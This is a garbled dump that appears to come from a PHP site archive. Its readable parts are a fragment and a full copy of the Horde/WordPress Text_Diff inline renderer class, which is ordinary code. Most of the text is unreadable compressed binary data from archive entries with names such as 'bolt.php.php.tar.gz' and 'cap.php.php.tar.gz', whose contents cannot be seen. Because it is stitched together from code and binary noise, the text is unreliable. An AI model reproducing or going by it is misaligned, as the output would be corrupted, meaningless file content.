        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PK     |\a  a    bolt.php.php.tar.gznu [              Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) < PK     |\'ݣ    
  inline.phpnu [        <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
PK     |\ \      Renderer.tarnu [        inline.php.php.tar.gz                                                                               0000644                 00000003352 15217301621 0010526 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Xo8szMF۴e::I&4 E^fuv&iZؽK8sAL$ђ
,fQ8׋8X&=ƣ8P:Mk<G%1㴟̓[ ׽ptߛ7RDz
[c6L 3Gq>J\h08Sx.ik<rٟ0P
i(ƕPtSSx`*$`Q(0OxvV"E&2F]L,V02(B$%R9)2 %qojIQX',p8`	ɌɁ ZhWan+ݟ-ILE%'aaЇN[&:=Rٖ+4te@ζߢcX ndOʙ/n)ĔLA$FJh0- TQyAUNHUٻ{afC3!7+KH:e6/Ԙ1"i8C<ǣ&7x)dx[И^R/mjmc$C4'3,Zpe9&U3	Ji*{1q#3!01xg&:$VI H
K
Q*xd&o"2aN%u#\,ajgSWl֛<׹ۻ<.]Ɣ=a侥TÞi7:3]_9o܆jmG[!_zm%hʻm5B'tpvfYfڲE#~ۨ=kZy.q)"6ZL&tZ7lᎾ|@(M$RsaЯ3}՘`CY[G">{.7fW]Z4ǔq웩sI;8dXbfۺ^!xȪW/`[w3fY;evJ6&PT:rn	X۷3w_o(Kg
.0D&gR%PVcx$W|auύNR9iԪEW6{)x.UaA9^gaMnǻ:6^pP^N)&jU;1:A`z55n5#JKmjthS/PR>!Jwj3q&jRpd
/s
	o/p`p?u,nUTBή!fJW|zn+~j$k&xP#eA<ڪkBճovs~i^7W\^P93O0ۥRT;px۲Uz<(_K)_LfDtVb'P	w!IzG?_7ꊛ-Ւ*"	7zy 3n`\LRB$dm9ƙntL}.)e&~fŔ\R(5uq$tP˛ycԫj\X2Bʔ+WӾSN&p/C.cjCB\j'0QÝ6kw6l.4qj)L$'=oV-a37֢o;JhHlN[w/,                                                                                                                                                                                                                                                                                         cap.php.php.tar.gz                                                                                  0000644                 00000056633 15217301621 0010025 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             i#Ir(Ҷ8%GfAu%Q5}R Hdym}?x$hd̤(@Uΐ5U3aɐ%RDǎf#,?6;MSlGO$rC?Q~<?GdJUS/_+戟 ~#4˟/_Bg__o~?__7W{7w&__߾ ~3 ?$?>P~'H럁$	lA?&_/d܏yx/~if;+?|h?^? _A.=('7~y33_x?JWw߽
{?G'7Q/ԉ1Ē)#&#aO$Q\h8
